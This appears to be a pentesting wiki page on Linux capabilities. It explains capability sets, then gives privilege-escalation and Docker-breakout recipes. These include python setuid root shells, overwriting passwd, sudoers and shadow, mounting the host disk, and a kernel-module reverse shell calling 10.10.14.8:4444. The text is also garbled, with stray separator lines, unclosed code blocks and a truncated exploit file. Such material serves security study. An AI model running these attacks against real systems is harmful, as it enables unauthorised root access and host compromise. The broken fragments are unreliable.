# Linux Capabilities
|
||
|
||
## Capabilities
|
||
|
||
Normally the root user (or any ID with UID of 0) gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do (almost) anything.
|
||
|
||
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
|
||
|
||
### Why capabilities?
|
||
|
||
To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.
|
||
|
||
Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.
|
||
|
||
### List Capabilities
|
||
|
||
```bash
|
||
#You list all the capabilities with
|
||
capsh --print
|
||
```
|
||
|
||
**Here you can find some capabilities with short descriptions**
|
||
|
||
| Capabilities name | Description |
|
||
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
|
||
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
|
||
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
|
||
| **CAP_CHOWN** | Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access) |
|
||
| **CAP_DAC_OVERRIDE** | This helps to bypass file read, write and execute permission checks (full filesystem access) |
|
||
| **CAP_DAC_READ_SEARCH** | This only bypass file and directory read/execute permission checks |
|
||
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
|
||
| CAP_KILL | Allow the sending of signals to processes belonging to others |
|
||
| CAP_SETGID | Allow changing of the GID |
|
||
| **CAP_SETUID** | Allow changing of the UID (set UID of root in you process) |
|
||
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
|
||
| CAP_IPC_LOCK | This helps to lock memory |
|
||
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
|
||
| **CAP_NET_RAW** | Use RAW and PACKET sockets (sniff traffic) |
|
||
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
|
||
| CAP_SYS_CHROOT | Ability to call chroot() |
|
||
| **CAP_SYS_ADMIN** | Mount/Unmount filesystems |
|
||
| **CAP_SYS_PTRACE** | Debug processes (inject shellcodes) |
|
||
| **CAP_SYS_MODULE** | Insert kernel modules |
|
||
|
||
### Capabilities Sets
|
||
|
||
#### Inherited capabilities
|
||
|
||
**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
|
||
|
||
**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap_setpcap capability in its thread effective set.
|
||
|
||
**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children.
|
||
|
||
**CapBnd**: With the _bounding_ set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
|
||
|
||
**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls.
|
||
|
||

## Processes & Binaries Capabilities
|
||
|
||
### Processes Capabilities
|
||
|
||
To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\
|
||
Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.
|
||
|
||
```bash
|
||
cat /proc/1234/status | grep Cap
|
||
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
|
||
```
|
||
|
||
This command should return 5 lines on most systems.
|
||
|
||
* CapInh = Inherited capabilities
|
||
* CapPrm = Permitted capabilities
|
||
* CapEff = Effective capabilities
|
||
* CapBnd = Bounding set
|
||
* CapAmb = Ambient capabilities set
|
||
|
||
```bash
|
||
#These are the typical capabilities of a root owned process (all)
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000003fffffffff
|
||
CapEff: 0000003fffffffff
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
```
|
||
|
||
These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.
|
||
|
||
```bash
|
||
capsh --decode=0000003fffffffff
|
||
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
|
||
```
|
||
|
||
Lets check now the **capabilities** used by `ping`:
|
||
|
||
```bash
|
||
cat /proc/9491/status | grep Cap
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000000000003000
|
||
CapEff: 0000000000000000
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
|
||
capsh --decode=0000000000003000
|
||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||
```
|
||
|
||
Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs.
|
||
|
||
```bash
|
||
getpcaps 1234
|
||
```
|
||
|
||
Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_):
|
||
|
||
```bash
|
||
#The following command give tcpdump the needed capabilities to sniff traffic
|
||
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||
|
||
$ getpcaps 9562
|
||
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
|
||
|
||
$ cat /proc/9562/status | grep Cap
|
||
CapInh: 0000000000000000
|
||
CapPrm: 0000000000003000
|
||
CapEff: 0000000000003000
|
||
CapBnd: 0000003fffffffff
|
||
CapAmb: 0000000000000000
|
||
|
||
$ capsh --decode=0000000000003000
|
||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||
```
|
||
|
||
As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\
|
||
The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.
|
||
|
||
### Binaries Capabilities
|
||
|
||
Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability:
|
||
|
||
```bash
|
||
getcap /usr/bin/ping
|
||
/usr/bin/ping = cap_net_raw+ep
|
||
```
|
||
|
||
You can **search binaries with capabilities** using:
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
```
|
||
|
||
### Dropping capabilities with capsh
|
||
|
||
If we drop the CAP_NET_RAW capabilities for _ping_, then the ping utility should no longer work.
|
||
|
||
```bash
|
||
capsh --drop=cap_net_raw --print -- -c "tcpdump"
|
||
```
|
||
|
||
Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error.
|
||
|
||
> /bin/bash: /usr/sbin/tcpdump: Operation not permitted
|
||
|
||
The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
|
||
|
||
### Remove Capabilities
|
||
|
||
You can remove capabilities of a binary with
|
||
|
||
```bash
|
||
setcap -r </path/to/binary>
|
||
```
|
||
|
||
## User Capabilities
|
||
|
||
Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\
|
||
Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\
|
||
File example:
|
||
|
||
```bash
|
||
# Simple
|
||
cap_sys_ptrace developer
|
||
cap_net_raw user1
|
||
|
||
# Multiple capablities
|
||
cap_net_admin,cap_net_raw jrnetadmin
|
||
# Identical, but with numeric values
|
||
12,13 jrnetadmin
|
||
|
||
# Combining names and numerics
|
||
cap_sys_admin,22,25 jrsysadmin
|
||
```
|
||
|
||
## Environment Capabilities
|
||
|
||
Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**.
|
||
|
||
{% code title="ambient.c" %}
|
||
```c
|
||
/*
|
||
* Test program for the ambient capabilities
|
||
*
|
||
* compile using:
|
||
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
|
||
* Set effective, inherited and permitted capabilities to the compiled binary
|
||
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
|
||
*
|
||
* To get a shell with additional caps that can be inherited do:
|
||
*
|
||
* ./ambient /bin/bash
|
||
*/
|
||
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
#include <errno.h>
|
||
#include <sys/prctl.h>
|
||
#include <linux/capability.h>
|
||
#include <cap-ng.h>
|
||
|
||
static void set_ambient_cap(int cap) {
|
||
int rc;
|
||
capng_get_caps_process();
|
||
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
|
||
if (rc) {
|
||
printf("Cannot add inheritable cap\n");
|
||
exit(2);
|
||
}
|
||
capng_apply(CAPNG_SELECT_CAPS);
|
||
/* Note the two 0s at the end. Kernel checks for these */
|
||
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
|
||
perror("Cannot set cap");
|
||
exit(1);
|
||
}
|
||
}
|
||
void usage(const char * me) {
|
||
printf("Usage: %s [-c caps] new-program new-args\n", me);
|
||
exit(1);
|
||
}
|
||
int default_caplist[] = {
|
||
CAP_NET_RAW,
|
||
CAP_NET_ADMIN,
|
||
CAP_SYS_NICE,
|
||
-1
|
||
};
|
||
int * get_caplist(const char * arg) {
|
||
int i = 1;
|
||
int * list = NULL;
|
||
char * dup = strdup(arg), * tok;
|
||
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
|
||
list = realloc(list, (i + 1) * sizeof(int));
|
||
if (!list) {
|
||
perror("out of memory");
|
||
exit(1);
|
||
}
|
||
list[i - 1] = atoi(tok);
|
||
list[i] = -1;
|
||
i++;
|
||
}
|
||
return list;
|
||
}
|
||
int main(int argc, char ** argv) {
|
||
int rc, i, gotcaps = 0;
|
||
int * caplist = NULL;
|
||
int index = 1; // argv index for cmd to start
|
||
if (argc < 2)
|
||
usage(argv[0]);
|
||
if (strcmp(argv[1], "-c") == 0) {
|
||
if (argc <= 3) {
|
||
usage(argv[0]);
|
||
}
|
||
caplist = get_caplist(argv[2]);
|
||
index = 3;
|
||
}
|
||
if (!caplist) {
|
||
caplist = (int * ) default_caplist;
|
||
}
|
||
for (i = 0; caplist[i] != -1; i++) {
|
||
printf("adding %d to ambient list\n", caplist[i]);
|
||
set_ambient_cap(caplist[i]);
|
||
}
|
||
printf("Ambient forking shell\n");
|
||
if (execv(argv[index], argv + index))
|
||
perror("Cannot exec");
|
||
return 0;
|
||
}
|
||
```
|
||
{% endcode %}
|
||
|
||
```bash
|
||
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
|
||
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
|
||
./ambient /bin/bash
|
||
```
|
||
|
||
Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section).
|
||
|
||
```bash
|
||
capsh --print
|
||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||
```
|
||
|
||
### Capability-aware/Capability-dumb binaries
|
||
|
||
The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
|
||
|
||
## Service Capabilities
|
||
|
||
By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\
|
||
Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges:
|
||
|
||
```bash
|
||
[Service]
|
||
User=bob
|
||
AmbientCapabilities=CAP_NET_BIND_SERVICE
|
||
```
|
||
|
||
## Malicious Use
|
||
|
||
Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
|
||
|
||
You can force capabilities upon programs using `setcap`, and query these using `getcap`:
|
||
|
||
```bash
|
||
#Set Capability
|
||
setcap cap_net_raw+ep /sbin/ping
|
||
|
||
#Get Capability
|
||
getcap /sbin/ping
|
||
/sbin/ping = cap_net_raw+ep
|
||
```
|
||
|
||
The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted.
|
||
|
||
To identify programs in a system or folder with capabilities:
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
```
|
||
|
||
### Exploitation example
|
||
|
||
In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc:
|
||
|
||
```bash
|
||
setcap cap_setuid+ep /usr/bin/python2.7
|
||
/usr/bin/python2.7 = cap_setuid+ep
|
||
|
||
#Exploit
|
||
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
|
||
```
|
||
|
||
**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**:
|
||
|
||
```bash
|
||
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||
getcap /usr/sbin/tcpdump
|
||
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
|
||
```
|
||
|
||
### The special case of "empty" capabilities
|
||
|
||
Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
|
||
|
||
1. is not owned by root
|
||
2. has no `SUID`/`SGID` bits set
|
||
3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`)
|
||
|
||
then that binary will run as root.
|
||
|
||
### CAP_SYS_ADMIN
|
||
|
||
**This means that you can** **mount/umount filesystems.**
|
||
|
||
#### Example with binary
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_admin+ep
|
||
```
|
||
|
||
Using python you can mount a modified _passwd_ file on top of the real _passwd_ file:
|
||
|
||
```bash
|
||
cp /etc/passwd ./ #Create a copy of the passwd file
|
||
openssl passwd -1 -salt abc password #Get hash of "password"
|
||
vim ./passwd #Change roots passwords of the fake passwd file
|
||
```
|
||
|
||
And finally **mount** the modified `passwd` file on `/etc/passwd`:
|
||
|
||
```python
|
||
from ctypes import *
|
||
libc = CDLL("libc.so.6")
|
||
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
|
||
MS_BIND = 4096
|
||
source = b"/path/to/fake/passwd"
|
||
target = b"/etc/passwd"
|
||
filesystemtype = b"none"
|
||
options = b"rw"
|
||
mountflags = MS_BIND
|
||
libc.mount(source, target, filesystemtype, mountflags, options)
|
||
```
|
||
|
||
And you will be able to **`su` as root** using password "password".
|
||
|
||
#### Example with environment (Docker breakout)
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep

Inside the previous output you can see that the SYS_ADMIN capability is enabled.
|
||
|
||
* **Mount**
|
||
|
||
This allows the docker container to **mount the host disk and access it freely**:
|
||
|
||
```bash
|
||
fdisk -l #Get disk name
|
||
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
|
||
Units: sectors of 1 * 512 = 512 bytes
|
||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||
|
||
mount /dev/sda /mnt/ #Mount it
|
||
cd /mnt
|
||
chroot ./ bash #You have a shell inside the docker hosts disk
|
||
```
|
||
|
||
* **Full access**
|
||
|
||
In the previous method we managed to access the docker host disk.\
|
||
In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH:
|
||
|
||
```bash
|
||
#Like in the example before, the first step is to moun the dosker host disk
|
||
fdisk -l
|
||
mount /dev/sda /mnt/
|
||
|
||
#Then, search for open ports inside the docker host
|
||
nc -v -n -w2 -z 172.17.0.1 1-65535
|
||
(UNKNOWN) [172.17.0.1] 2222 (?) open
|
||
|
||
#Finally, create a new user inside the docker host and use it to access via SSH
|
||
chroot /mnt/ adduser john
|
||
ssh john@172.17.0.1 -p 2222
|
||
```
|
||
|
||

```
|
||
capsh --print

|
||
```
|
||
|
||
List **processes** running in the **host** `ps -eaf`
|
||
|
||
1. Get the **architecture** `uname -m`
|
||
2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||
3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
|
||
4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||
5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||
|
||
### CAP_SYS_MODULE
|
||
|
||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||
|
||
#### Example with binary
|
||
|
||
In the following example the binary **`python`** has this capability.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_module+ep
|
||
```
|
||
|
||
By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\
|
||
In order to abuse this, lets create a fake **lib/modules** folder:
|
||
|
||
```bash
|
||
mkdir lib/modules -p
|
||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||
```
|
||
|
||
Then **compile the kernel module you can find 2 examples below and copy** it to this folder:
|
||
|
||
```bash
|
||
cp reverse-shell.ko lib/modules/$(uname -r)/
|
||
```
|
||
|
||
Finally, execute the needed python code to load this kernel module:
|
||
|
||
```python
|
||
import kmod
|
||
km = kmod.Kmod()
|
||
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
|
||
km.modprobe("reverse-shell")
|
||
```
|
||
|
||
#### Example 2 with binary
|
||
|
||
In the following example the binary **`kmod`** has this capability.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/bin/kmod = cap_sys_module+ep
|
||
```
|
||
|
||
Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege.
|
||
|
||
#### Example with environment (Docker breakout)
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
Inside the previous output you can see that the **SYS_MODULE** capability is enabled.
|
||
|
||
**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it:
|
||
|
||
{% code title="reverse-shell.c" %}
|
||
```c
|
||
#include <linux/kmod.h>
|
||
#include <linux/module.h>
|
||
MODULE_LICENSE("GPL");
|
||
MODULE_AUTHOR("AttackDefense");
|
||
MODULE_DESCRIPTION("LKM reverse shell module");
|
||
MODULE_VERSION("1.0");
|
||
|
||
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
|
||
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||
|
||
// call_usermodehelper function is used to create user mode processes from kernel space
|
||
static int __init reverse_shell_init(void) {
|
||
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||
}
|
||
|
||
static void __exit reverse_shell_exit(void) {
|
||
printk(KERN_INFO "Exiting\n");
|
||
}
|
||
|
||
module_init(reverse_shell_init);
|
||
module_exit(reverse_shell_exit);
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="Makefile" %}
|
||
```bash
|
||
obj-m +=reverse-shell.o
|
||
|
||
all:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||
|
||
clean:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
The blank char before each make word in the Makefile **must be a tab, not spaces**!
|
||
{% endhint %}
|
||
|
||
Execute `make` to compile it.
|
||
|
||
```
|
||
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
|
||
|
||
sudo apt update
|
||
sudo apt full-upgrade
|
||
```
|
||
|
||
Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
|
||
|
||
```bash
|
||
#Shell 1
|
||
nc -lvnp 4444
|
||
|
||
#Shell 2
|
||
insmod reverse-shell.ko #Launch the reverse shell
|
||
```
|
||
|
||
**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
### CAP_DAC_READ_SEARCH
|
||
|
||
**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
|
||
|
||
#### Example with binary
|
||
|
||
The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:
|
||
|
||
```bash
|
||
cd /etc
|
||
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
|
||
cd /tmp
|
||
tar -cxf shadow.tar.gz
|
||
```
|
||
|
||
#### Example with binary2
|
||
|
||
In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do:
|
||
|
||
```python
|
||
import os
|
||
for r, d, f in os.walk('/root'):
|
||
for filename in f:
|
||
print(filename)
|
||
```
|
||
|
||
And in order to read a file you could do:
|
||
|
||
```python
|
||
print(open("/etc/shadow", "r").read())
|
||
```
|
||
|
||
#### Example with \_\*\*\_Environment (Docker breakout)
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**.
|
||
|
||
You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**.
|
||
|
||
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**

I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file.

**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
### CAP_DAC_OVERRIDE
|
||
|
||
**This mean that you can bypass write permission checks on any file, so you can write any file.**
|
||
|
||
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
#### Example with binary
|
||
|
||
In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_:
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/vim = cap_dac_override+ep
|
||
|
||
vim /etc/sudoers #To overwrite it
|
||
```
|
||
|
||
#### Example with binary 2
|
||
|
||
In this example **`python`** binary will have this capability. You could use python to override any file:
|
||
|
||
```python
|
||
file=open("/etc/sudoers","a")
|
||
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
|
||
file.close()
|
||
```
|
||
|
||
#### Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)
|
||
|
||
You can check the enabled capabilities inside the docker container using:
|
||
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

||
Securebits: 00/0x0/1'b0
|
||

|
||
secure-no-suid-fixup: no (unlocked)
|

secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
|
||
First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\
|
||
Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem:
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>

#include <fcntl.h>

#include <errno.h>

#include <string.h>
|

#include <unistd.h>

#include <dirent.h>

// gcc shocker_write.c -o shocker_write

// ./shocker_write /etc/passwd passwd

In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
|
||
|
||
**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||
|
||
### CAP_CHOWN
|
||
|
||
**This means that it's possible to change the ownership of any file.**
|
||
|
||
#### Example with binary
|
||
|
||
Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges:
|
||
|
||
```bash
|
||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||
```
|
||
|
||
Or with the **`ruby`** binary having this capability:
|
||
|
||
```bash
|
||
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
|
||
```
|
||
|
||
### CAP_FOWNER
|
||
|
||
**This means that it's possible to change the permission of any file.**
|
||
|
||
#### Example with binary
|
||
|
||
If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges:
|
||
|
||
```bash
|
||
python -c 'import os;os.chmod("/etc/shadow",0666)
|
||
```
|
||
|
||
### CAP_SETUID
|
||
|
||
**This means that it's possible to set the effective user id of the created process.**
|
||
|
||
#### Example with binary
|
||
|
||
